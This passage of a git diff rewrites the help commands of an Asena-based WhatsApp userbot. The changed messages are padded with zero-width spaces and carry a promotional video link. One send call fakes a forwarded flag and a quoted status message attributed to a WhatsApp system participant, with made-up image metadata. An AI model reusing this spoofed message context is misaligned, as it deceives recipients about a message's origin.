​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​ \n' + CMD_HELP, MessageType.text,{quoted: message.data} - ); - } else { var CMD_HELP = ''; - Asena.commands.map( - async (command) => { - if (command.dontAddCommandList || command.pattern === undefined) return; - try { - var cmatch = command.pattern.toString().match(/(\W*)([A-Za-zğüşiöç1234567890]*)/); - } catch { - var cmatch = [command.pattern]; - } - - if (cmatch[2] == match[1]) { + if (match[1] === '') { + Asena.commands.map( + async (command) => { + if (command.dontAddCommandList || command.pattern === undefined) return; + try { + var match = command.pattern.toString().match(/(\W*)([A-Za-zğüşıiöç1234567890 ]*)/); + var mmatch = command.pattern.toString().match(/(\W*)([A-Za-züşiğ öç1234567890]*)/)[2] + } catch { + var match = [command.pattern]; + } + var HANDLER = ''; if (/\[(\W*)\]/.test(Config.HANDLERS)) { @@ -195,83 +144,88 @@ else if (Config.WORKTYPE == 'public') { } else { HANDLER = '.'; } - CMD_HELP += '*🌀 ' + Lang.COMMAND + ':* ```' + (cmatch.length >= 3 ? (HANDLER + cmatch[2]) : command.pattern) + (command.desc === '' ? '```\n\n' : '```\n'); - if (command.desc !== '') CMD_HELP += '*♦️ ' + Lang.DESC + ':* ```' + command.desc + (command.warn === '' ? '```\n\n' : '```\n'); - if (command.usage !== '') CMD_HELP += '*💎 ' + Lang.EXAMPLE + ':* ```' + command.usage + '```\n\n'; - if (command.warn !== '') CMD_HELP += '*⚠️ ' + Lang.WARN + ':* ```' + command.warn + '```\n\n'; - - } - } - ); - if (CMD_HELP === '') CMD_HELP += Lang.NOT_FOUND; - await message.client.sendMessage( - message.jid, CMD_HELP, MessageType.text,{quoted: message.data} - ); - } -})); - -/*slf*/ -Asena.addCommand({pattern: 'phelp ?(.*)', fromMe: false, dontAddCommandList: true}, (async (message, match) => { - var CMD_HELP = ''; - if (match[1] === '') { - Asena.commands.map( - async (command) => { - if (command.dontAddCommandList || command.pattern === undefined) return; - try { - var match = command.pattern.toString().match(/(\W*)([A-Za-zğüşiöç1234567890]*)/); - } catch { - var match = [command.pattern]; - } - - var HANDLER = ''; - - if (/\[(\W*)\]/.test(Config.HANDLERS)) { - HANDLER = Config.HANDLERS.match(/\[(\W*)\]/)[1][0]; - } else { - HANDLER = '.'; - } - CMD_HELP += '*🌀 ' + Lang.COMMAND + ':* ```' + (match.length >= 3 ? (HANDLER + match[2]) : command.pattern) + (command.desc === '' ? '```\n\n' : '```\n'); - if (command.desc !== '') CMD_HELP += '*♦️ ' + Lang.DESC + ':* ```' + command.desc + (command.warn === '' ? '```\n\n' : '```\n'); - if (command.usage !== '') CMD_HELP += '*📝 ' + Lang.EXAMPLE + ':* ```' + command.usage + '```\n\n'; - if (command.warn !== '') CMD_HELP += '*⚠️ ' + Lang.WARN + ':* ```' + command.warn + '```\n\n'; - - } - ); - - await message.client.sendMessage( - message.jid, CMD_HELP, MessageType.text,{quoted: message.data} - ); - } else { - var CMD_HELP = ''; - Asena.commands.map( - async (command) => { - if (command.dontAddCommandList || command.pattern === undefined) return; - try { - var cmatch = command.pattern.toString().match(/(\W*)([A-Za-zğüşiöç1234567890]*)/); - } catch { - var cmatch = [command.pattern]; + if (command.desc == '' && !command.usage == '' && command.warn == '') { + CMD_HELP += '*🧩 ' + Lang.COMMAND + ':* ```' + (match.length >= 3 ? (HANDLER + mmatch) : command.pattern) + '```\n' + '*🎁 ' + Lang.EXAMPLE + ':* ```' + command.usage + '```\n\n'; + } + if (!command.desc == '' && command.usage == '' && command.warn == '') { + CMD_HELP += '*🧩 ' + Lang.COMMAND + ':* ```' + (match.length >= 3 ? (HANDLER + mmatch) : command.pattern) + '```\n' + '*🎲 ' + Lang.DESC + ':* ```' + command.desc + '``` \n\n'; + } + if (command.desc == '' && command.usage == '' && !command.warn == '') { + CMD_HELP += '*🧩 ' + Lang.COMMAND + ':* ```' + (match.length >= 3 ? (HANDLER + mmatch) : command.pattern) + '```\n' + '*🎱 ' + Lang.WARN + ':* ```' + command.warn + '```\n\n' + } + if (!command.desc == '' && !command.usage == '' && command.warn == '') { + CMD_HELP += '*🧩 ' + Lang.COMMAND + ':* ```' + (match.length >= 3 ? (HANDLER + mmatch) : command.pattern) + '```\n' + '*🎁 ' + Lang.DESC + ':* ```' + command.desc + '``` \n' + '*⌨️ ' + Lang.EXAMPLE + ':* ```' + command.usage + '```\n\n'; + } + if (!command.desc == '' && command.usage == '' && !command.warn == '') { + CMD_HELP += '*🧩 ' + Lang.COMMAND + ':* ```' + (match.length >= 3 ? (HANDLER + mmatch) : command.pattern) + '```\n' + '*🎲 ' + Lang.DESC + ':* ```' + command.desc + '``` \n' + '*⚠️ ' + Lang.WARN + ':* ```' + command.warn + '```\n\n' + } + if (command.desc == '' && !command.usage == '' && !command.warn == '') { + CMD_HELP += '*🧩 ' + Lang.COMMAND + ':* ```' + (match.length >= 3 ? (HANDLER + mmatch) : command.pattern) + '```\n' + '*🎁 ' + Lang.EXAMPLE + ':* ```' + command.usage + '```\n' + '*⚠️ ' + Lang.WARN + ':* ```' + command.warn + '```\n\n' + } + if (command.desc == '' && command.usage == '' && command.warn == '') { + CMD_HELP += '*🧩 ' + Lang.COMMAND + ':* ```' + (match.length >= 3 ? (HANDLER + mmatch) : command.pattern) + '```\n\n' + } + if (!command.desc == '' && !command.usage == '' && !command.warn == '') { + CMD_HELP += '*🧩 ' + Lang.COMMAND + ':* ```' + (match.length >= 3 ? (HANDLER + mmatch) : command.pattern) + '```\n' + '*🎲 ' + Lang.DESC + ':* ```' + command.desc + '``` \n' + '*⌨️ ' + Lang.EXAMPLE + ':* ```' + command.usage + '```\n' + '*⚠️ ' + Lang.WARN + ':* ```' + command.warn + '```\n\n' + } } - - if (cmatch[2] == match[1]) { - var HANDLER = ''; + ); + await message.client.sendMessage( + message.jid, Config.BOTPLK + '\n\n ​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​ \n' + CMD_HELP, MessageType.text, { contextInfo: { forwardingScore: 5, isForwarded: true }, quoted: { key: { fromMe: false, participant: `0@s.whatsapp.net`, ...(message.jid ? { remoteJid: "status@broadcast" } : {}) }, message: { "imageMessage": { "url": "https://mmg.whatsapp.net/d/f/At0x7ZdIvuicfjlf9oWS6A3AR9XPh0P-hZIVPLsI70nM.enc", "mimetype": "image/jpeg", "caption": Config.BOTPLK, "fileSha256": "+Ia+Dwib70Y1CWRMAP9QLJKjIJt54fKycOfB2OEZbTU=", "fileLength": "28777", "height": 1080, "width": 1079, "mediaKey": "vXmRR7ZUeDWjXy5iQk17TrowBzuwRya0errAFnXxbGc=", "fileEncSha256": "sR9D2RS5JSifw49HeBADguI23fWDz1aZu4faWG/CyRY=", "directPath": "/v/t62.7118-24/21427642_840952686474581_572788076332761430_n.enc?oh=3f57c1ba2fcab95f2c0bb475d72720ba&oe=602F3D69", "mediaKeyTimestamp": "1610993486", "jpegThumbnail": fs.readFileSync('20210816_231658.jpg')}}}}); + } + else { + var CMD_HELP = ''; + Asena.commands.map( + async (command) => { + if (command.dontAddCommandList || command.pattern === undefined) return; + try { + var cmatch = command.pattern.toString().match(/(\W*)([A-Za-zğüşıiöç1234567890 ]*)/); + var cmmatch = command.pattern.toString().match(/(\W*)([A-Za-züşiğ öç1234567890]*)/)[2] + } catch { + var cmatch = [command.pattern]; + } + if (cmmatch.endsWith(' ')) { + var cmmatch = command.pattern.toString().match(/(\W*)([A-Za-züşiğ öç1234567890]*)/)[2].replace(' ', '') + } + if (cmmatch == match[1]) { + var HANDLER = ''; - if (/\[(\W*)\]/.test(Config.HANDLERS)) { - HANDLER = Config.HANDLERS.match(/\[(\W*)\]/)[1][0]; - } else { - HANDLER = '.'; + if (/\[(\W*)\]/.test(Config.HANDLERS)) { + HANDLER = Config.HANDLERS.match(/\[(\W*)\]/)[1][0]; + } else { + HANDLER = '.'; + } + if (command.desc == '' && !command.usage == '' && command.warn == '') { + CMD_HELP += '*🧩 ' + Lang.COMMAND + ':* ```' + (cmatch.length >= 3 ? (HANDLER + cmmatch) : command.pattern) + '```\n' + '*🎁 ' + Lang.EXAMPLE + ':* ```' + command.usage + '```\n\n'; + } + if (!command.desc == '' && command.usage == '' && command.warn == '') { + CMD_HELP += '*🧩 ' + Lang.COMMAND + ':* ```' + (cmatch.length >= 3 ? (HANDLER + cmmatch) : command.pattern) + '```\n' + '*🎲 ' + Lang.DESC + ':* ```' + command.desc + '``` \n\n'; + } + if (command.desc == '' && command.usage == '' && !command.warn == '') { + CMD_HELP += '*🧩 ' + Lang.COMMAND + ':* ```' + (cmatch.length >= 3 ? (HANDLER + cmmatch) : command.pattern) + '```\n' + '*🎱' + Lang.WARN + ':* ```' + command.warn + '```\n\n' + } + if (!command.desc == '' && !command.usage == '' && command.warn == '') { + CMD_HELP += '*🧩 ' + Lang.COMMAND + ':* ```' + (cmatch.length >= 3 ? (HANDLER + cmmatch) : command.pattern) + '```\n' + '*🎁 ' + Lang.DESC + ':* ```' + command.desc + '``` \n' + '*⌨️ ' + Lang.EXAMPLE + ':* ```' + command.usage + '```\n\n'; + } + if (!command.desc == '' && command.usage == '' && !command.warn == '') { + CMD_HELP += '*🧩 ' + Lang.COMMAND + ':* ```' + (cmatch.length >= 3 ? (HANDLER + cmmatch) : command.pattern) + '```\n' + '*🎲 ' + Lang.DESC + ':* ```' + command.desc + '``` \n' + '*⚠️ ' + Lang.WARN + ':* ```' + command.warn + '```\n\n' + } + if (command.desc == '' && !command.usage == '' && !command.warn == '') { + CMD_HELP += '*🧩 ' + Lang.COMMAND + ':* ```' + (cmatch.length >= 3 ? (HANDLER + cmmatch) : command.pattern) + '```\n' + '*🎁 ' + Lang.EXAMPLE + ':* ```' + command.usage + '```\n' + '*⚠️ ' + Lang.WARN + ':* ```' + command.warn + '```\n\n' + } + if (command.desc == '' && command.usage == '' && command.warn == '') { + CMD_HELP += '*🧩 ' + Lang.COMMAND + ':* ```' + (cmatch.length >= 3 ? (HANDLER + cmmatch) : command.pattern) + '```\n\n' + } + if (!command.desc == '' && !command.usage == '' && !command.warn == '') { + CMD_HELP += '*🧩 ' + Lang.COMMAND + ':* ```' + (cmatch.length >= 3 ? (HANDLER + cmmatch) : command.pattern) + '```\n' + '*🎲 ' + Lang.DESC + ':* ```' + command.desc + '``` \n' + '*⌨️ ' + Lang.EXAMPLE + ':* ```' + command.usage + '```\n' + '*⚠️ ' + Lang.WARN + ':* ```' + command.warn + '```\n\n' + } } - CMD_HELP += '*🌀 ' + Lang.COMMAND + ':* ```' + (cmatch.length >= 3 ? (HANDLER + cmatch[2]) : command.pattern) + (command.desc === '' ? '```\n\n' : '```\n'); - if (command.desc !== '') CMD_HELP += '*♦️ ' + Lang.DESC + ':* ```' + command.desc + (command.warn === '' ? '```\n\n' : '```\n'); - if (command.usage !== '') CMD_HELP += '*📝 ' + Lang.EXAMPLE + ':* ```' + command.usage + '```\n\n'; - if (command.warn !== '') CMD_HELP += '*⚠️ ' + Lang.WARN + ':* ```' + command.warn + '```\n\n'; - } - } - ); - if (CMD_HELP === '') CMD_HELP += Lang.NOT_FOUND; - await message.client.sendMessage( - message.jid, CMD_HELP, MessageType.text,{quoted: message.data} - ); - } -})); + ); + if (CMD_HELP === '') CMD_HELP += Lang.NOT_FOUND; + await message.client.sendMessage( + message.jid, Config.BOTPLK + '\n\n ```If you want to have your own bot, watch this video``` \n\n ```https://youtube.com/channel/UCQ3NYIDKT6-glPHTPya7b7w``` \n\n ​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​